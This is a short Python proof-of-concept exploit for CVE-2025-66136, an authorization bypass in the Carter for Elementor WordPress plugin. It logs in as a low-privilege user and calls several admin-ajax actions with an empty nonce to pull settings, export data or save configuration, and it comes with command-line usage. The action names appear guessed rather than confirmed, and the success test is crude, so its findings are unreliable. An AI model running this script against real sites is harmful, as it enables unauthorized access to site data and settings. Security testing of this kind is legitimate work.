CVE-2025-66136

import requests import sys # CVE-2025-66136 PoC - Carter for Elementor Authorization Bypass # Target: WordPress site with Carter for Elementor plugin <= 1.0.2 def exploit_carter_elementor(target_url, username, password): """ Exploit Missing Authorization in Carter for Elementor plugin This PoC demonstrates how a low-privileged user can access unauthorized functions """ session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful with low-privilege account") # Step 2: Identify vulnerable AJAX endpoints # Carter for Elementor may register AJAX actions without capability checks vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', ] # Step 3: Test for missing authorization # Common vulnerable actions in Carter for Elementor test_actions = [ 'carter_get_settings', 'carter_export_data', 'carter_get_templates', 'carter_save_config', ] for action in test_actions: data = { 'action': action, 'nonce': '' # May not be required due to missing check } response = session.post( f"{target_url}/wp-admin/admin-ajax.php", data=data ) if response.status_code == 200: # Check if we can access admin-only data if 'admin' in response.text.lower() or len(response.text) > 100: print(f"[+] Potential vulnerability found in action: {action}") print(f"[+] Response preview: {response.text[:200]}...") print("[*] Exploitation complete - check results above") return True if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) exploit_carter_elementor(sys.argv[1], sys.argv[2], sys.argv[3])

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